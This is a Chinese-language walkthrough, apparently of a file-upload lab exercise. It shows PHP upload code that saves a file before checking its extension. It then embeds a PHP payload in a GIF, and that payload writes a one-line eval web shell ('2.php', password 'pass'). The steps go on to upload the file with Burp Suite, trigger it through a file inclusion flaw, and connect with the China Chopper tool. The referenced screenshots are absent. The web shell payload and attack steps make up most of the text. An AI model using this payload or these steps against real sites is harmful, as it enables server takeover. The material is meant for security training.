源代码如下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
将<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"]);?>’);?>插入到gif图片中(文件名为18.gif),如下图所示:
然后上传18.gif图片,并且同时用burpsuite抓包:
把抓到的包发送到repeater模块,并且点击Go,可以看到成功上传,并且返回了回显的gif图片,如下图所示:
然后利用文件包含漏洞构造如下网址,成功访问到,与此同时,在include.php同一目录下就会生成一个2.php:
访问网页同时生成的2.php文件:
然后使用菜刀连接这个2.php,密码为我们之前写入的一句话木马里的pass:
成功访问到: